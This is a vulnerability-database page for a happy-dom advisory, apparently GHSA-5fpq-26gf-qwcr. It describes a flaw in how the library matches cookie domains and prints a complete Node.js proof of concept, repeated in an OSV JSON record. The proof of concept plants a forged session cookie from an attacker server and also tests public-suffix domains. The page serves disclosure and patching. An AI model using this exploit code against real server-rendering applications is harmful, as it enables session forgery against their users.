GHSA-5FPQ-26GF-QWCR
Vulnerability from github – Published: 2026-10-28 21:06 – Updated: 2026-10-28 21:06Summary
A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.
Details
happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.
PoC
Run:
node poc-happydom-cookie-domain.js
Full proof-of-concept source (poc-happydom-cookie-domain.js):
// PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation
// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)
// -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)
// -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)
// -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie
// Run: cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js
const http = require('http');
const { Window } = require('happy-dom');
const ATK_PORT = 19311; // attacker server, 127.0.0.1
const VIC_PORT = 19312; // victim server, localhost
let victimReceivedCookies = [];
let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;
const attacker = http.createServer((req, res) => {
if (req.method === 'OPTIONS') {
// CORS preflight (happy-dom enforces same-origin policy with a preflight; the
// attacker trivially answers it — an attacker-controlled server always can)
res.writeHead(204, {
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Methods': 'GET, OPTIONS',
'Access-Control-Allow-Headers': '*'
});
res.end();
return;
}
res.writeHead(200, {
'content-type': 'image/gif',
'Access-Control-Allow-Origin': '*',
// Attacker claims Domain=localhost even though it is serving from 127.0.0.1.
// A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of
// the request-host; localhost is also on the Mozilla PSL).
'Set-Cookie': attackerSetCookie
});
res.end('GIF89a');
});
const victim = http.createServer((req, res) => {
victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null });
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify({ ok: true, user: 'alice' }));
});
function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); }
async function runScenario(scenario) {
victimReceivedCookies = [];
const win = new Window({
url: `http://localhost:${VIC_PORT}/`,
settings: {
enableJavaScriptEvaluation: true,
suppressInsecureJavaScriptEnvironmentWarning: true
}
});
try {
if (scenario === 'no-plant-control') {
// Control: app NEVER contacts attacker -> victim must receive NO cookie
await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
} else if (scenario === 'honest-domain-control') {
// Control: attacker sets Domain=127.0.0.1 (its own host, honest)
// -> cookie must NOT leak to localhost victim
attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;
await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
} else {
// attack: app fetches attacker content (scraping/SSR/third-party resource)
await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
}
await sleep(150);
return victimReceivedCookies;
} finally {
win.happyDOM.abort();
}
}
async function main() {
await new Promise((r) => attacker.listen(ATK_PORT, '127.0.0.1', r));
await new Promise((r) => victim.listen(VIC_PORT, 'localhost', r));
console.log('=== happy-dom cookie-domain scoping PoC ===\n');
const attack = await runScenario('attack');
console.log('[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)');
attack.forEach((e) => console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));
const forged = attack.some((e) => e.cookie && e.cookie.includes('session=FORGED_BY_ATTACKER'));
console.log(` -> forged cookie delivered to victim: ${forged ? 'YES (VULNERABLE)' : 'no'}`);
const noPlant = await runScenario('no-plant-control');
console.log('\n[CONTROL] app never contacts attacker');
noPlant.forEach((e) => console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));
const honest = await runScenario('honest-domain-control');
console.log('\n[CONTROL] attacker sets honest Domain=127.0.0.1 only');
honest.forEach((e) => console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));
// unit proof: document.cookie setter also accepts non-suffix domains (browser rejects)
const win2 = new Window({
url: `http://localhost:${VIC_PORT}/`,
settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true }
});
win2.document.cookie = `admin=1; Domain=com; Path=/`; // PSL public suffix!
const readBack = win2.document.cookie;
console.log(`\n[UNIT] document.cookie = 'admin=1; Domain=com' -> read back: '${readBack}'`);
console.log(` -> browser: REJECTED (public suffix); happy-dom: ${readBack.includes('admin=1') ? 'ACCEPTED' : 'rejected'}`);
win2.happyDOM.abort();
// unit proof: endsWith boundary bug (SameSite=None cookie -> sent to any host ending with the domain)
const { default: CookieURLUtility } = require('happy-dom/lib/cookie/urilities/CookieURLUtility.js');
const matchesBoundary = CookieURLUtility.cookieMatchesURL(
{ key: 'k', value: 'v', originURL: new URL('http://attacker.example/'), domain: 'example.com', path: '/', secure: true, sameSite: 'None' },
new URL('https://notexample.com/')
);
console.log(`\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}`);
console.log(` -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match`);
attacker.close();
victim.close();
process.exit(0);
}
main().catch((e) => { console.error(e); process.exit(1); });
Observed output (verbatim, Node 24.15.0, Windows):
[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true
-> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match
Impact
Cookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom <= 20.14.5. Note: main pushback will be that happy-dom is a test DOM — state the SSR use case.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 20.14.5"
},
"package": {
"ecosystem": "npm",
"name": "happy-dom"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "20.14.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-118661"
],
"database_specific": {
"cwe_ids": [
"CWE-565"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-28T21:06:13Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nA cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.\n\n### Details\nhappy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.\n\n### PoC\n\nRun:\n```bash\nnode poc-happydom-cookie-domain.js\n```\n\nFull proof-of-concept source (poc-happydom-cookie-domain.js):\n```js\n// PoC: happy-dom cookie-domain scoping gap -\u003e cross-origin cookie injection / session fixation\n// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)\n// -\u003e attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)\n// -\u003e happy-dom stores it (a real browser rejects: RFC 6265 \u00a75.3.6-7 + PSL)\n// -\u003e app\u0027s same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie\n// Run: cd C:/Users/rncb0/AppData/Local/Temp/0day \u0026\u0026 node poc/poc-happydom-cookie-domain.js\nconst http = require(\u0027http\u0027);\nconst { Window } = require(\u0027happy-dom\u0027);\n\nconst ATK_PORT = 19311; // attacker server, 127.0.0.1\nconst VIC_PORT = 19312; // victim server, localhost\n\nlet victimReceivedCookies = [];\n\nlet attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;\n\nconst attacker = http.createServer((req, res) =\u003e {\n if (req.method === \u0027OPTIONS\u0027) {\n // CORS preflight (happy-dom enforces same-origin policy with a preflight; the\n // attacker trivially answers it \u2014 an attacker-controlled server always can)\n res.writeHead(204, {\n \u0027Access-Control-Allow-Origin\u0027: \u0027*\u0027,\n \u0027Access-Control-Allow-Methods\u0027: \u0027GET, OPTIONS\u0027,\n \u0027Access-Control-Allow-Headers\u0027: \u0027*\u0027\n });\n res.end();\n return;\n }\n res.writeHead(200, {\n \u0027content-type\u0027: \u0027image/gif\u0027,\n \u0027Access-Control-Allow-Origin\u0027: \u0027*\u0027,\n // Attacker claims Domain=localhost even though it is serving from 127.0.0.1.\n // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of\n // the request-host; localhost is also on the Mozilla PSL).\n \u0027Set-Cookie\u0027: attackerSetCookie\n });\n res.end(\u0027GIF89a\u0027);\n});\n\nconst victim = http.createServer((req, res) =\u003e {\n victimReceivedCookies.push({ path: req.url, cookie: req.headers[\u0027cookie\u0027] || null });\n res.writeHead(200, { \u0027content-type\u0027: \u0027application/json\u0027 });\n res.end(JSON.stringify({ ok: true, user: \u0027alice\u0027 }));\n});\n\nfunction sleep(ms) { return new Promise((r) =\u003e setTimeout(r, ms)); }\n\nasync function runScenario(scenario) {\n victimReceivedCookies = [];\n const win = new Window({\n url: `http://localhost:${VIC_PORT}/`,\n settings: {\n enableJavaScriptEvaluation: true,\n suppressInsecureJavaScriptEnvironmentWarning: true\n }\n });\n try {\n if (scenario === \u0027no-plant-control\u0027) {\n // Control: app NEVER contacts attacker -\u003e victim must receive NO cookie\n await win.fetch(`http://localhost:${VIC_PORT}/api/account`);\n } else if (scenario === \u0027honest-domain-control\u0027) {\n // Control: attacker sets Domain=127.0.0.1 (its own host, honest)\n // -\u003e cookie must NOT leak to localhost victim\n attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;\n await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);\n await win.fetch(`http://localhost:${VIC_PORT}/api/account`);\n } else {\n // attack: app fetches attacker content (scraping/SSR/third-party resource)\n await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);\n await win.fetch(`http://localhost:${VIC_PORT}/api/account`);\n }\n await sleep(150);\n return victimReceivedCookies;\n } finally {\n win.happyDOM.abort();\n }\n}\n\nasync function main() {\n await new Promise((r) =\u003e attacker.listen(ATK_PORT, \u0027127.0.0.1\u0027, r));\n await new Promise((r) =\u003e victim.listen(VIC_PORT, \u0027localhost\u0027, r));\n\n console.log(\u0027=== happy-dom cookie-domain scoping PoC ===\\n\u0027);\n\n const attack = await runScenario(\u0027attack\u0027);\n console.log(\u0027[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)\u0027);\n attack.forEach((e) =\u003e console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));\n const forged = attack.some((e) =\u003e e.cookie \u0026\u0026 e.cookie.includes(\u0027session=FORGED_BY_ATTACKER\u0027));\n console.log(` -\u003e forged cookie delivered to victim: ${forged ? \u0027YES (VULNERABLE)\u0027 : \u0027no\u0027}`);\n\n const noPlant = await runScenario(\u0027no-plant-control\u0027);\n console.log(\u0027\\n[CONTROL] app never contacts attacker\u0027);\n noPlant.forEach((e) =\u003e console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));\n\n const honest = await runScenario(\u0027honest-domain-control\u0027);\n console.log(\u0027\\n[CONTROL] attacker sets honest Domain=127.0.0.1 only\u0027);\n honest.forEach((e) =\u003e console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));\n\n // unit proof: document.cookie setter also accepts non-suffix domains (browser rejects)\n const win2 = new Window({\n url: `http://localhost:${VIC_PORT}/`,\n settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true }\n });\n win2.document.cookie = `admin=1; Domain=com; Path=/`; // PSL public suffix!\n const readBack = win2.document.cookie;\n console.log(`\\n[UNIT] document.cookie = \u0027admin=1; Domain=com\u0027 -\u003e read back: \u0027${readBack}\u0027`);\n console.log(` -\u003e browser: REJECTED (public suffix); happy-dom: ${readBack.includes(\u0027admin=1\u0027) ? \u0027ACCEPTED\u0027 : \u0027rejected\u0027}`);\n win2.happyDOM.abort();\n\n // unit proof: endsWith boundary bug (SameSite=None cookie -\u003e sent to any host ending with the domain)\n const { default: CookieURLUtility } = require(\u0027happy-dom/lib/cookie/urilities/CookieURLUtility.js\u0027);\n const matchesBoundary = CookieURLUtility.cookieMatchesURL(\n { key: \u0027k\u0027, value: \u0027v\u0027, originURL: new URL(\u0027http://attacker.example/\u0027), domain: \u0027example.com\u0027, path: \u0027/\u0027, secure: true, sameSite: \u0027None\u0027 },\n new URL(\u0027https://notexample.com/\u0027)\n );\n console.log(`\\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}`);\n console.log(` -\u003e \u0027notexample.com\u0027.endsWith(\u0027example.com\u0027) is TRUE (no DNS-label boundary); browser: no match`);\n\n attacker.close();\n victim.close();\n process.exit(0);\n}\n\nmain().catch((e) =\u003e { console.error(e); process.exit(1); });\n\n```\n\nObserved output (verbatim, Node 24.15.0, Windows):\n```\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true\n -\u003e \u0027notexample.com\u0027.endsWith(\u0027example.com\u0027) is TRUE (no DNS-label boundary); browser: no match\n```\n\n### Impact\nCookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom \u003c= 20.14.5. Note: main pushback will be that happy-dom is a test DOM \u2014 state the SSR use case.",
"id": "GHSA-5fpq-26gf-qwcr",
"modified": "2026-10-28T21:06:13Z",
"published": "2026-10-28T21:06:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-5fpq-26gf-qwcr"
},
{
"type": "WEB",
"url": "https://github.com/capricorn86/happy-dom/pull/2477"
},
{
"type": "WEB",
"url": "https://github.com/capricorn86/happy-dom/commit/f21dbd7d0a0c63cdd41954ba5d0f05def4e0f2b3"
},
{
"type": "PACKAGE",
"url": "https://github.com/capricorn86/happy-dom"
},
{
"type": "WEB",
"url": "https://github.com/capricorn86/happy-dom/releases/tag/v20.14.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.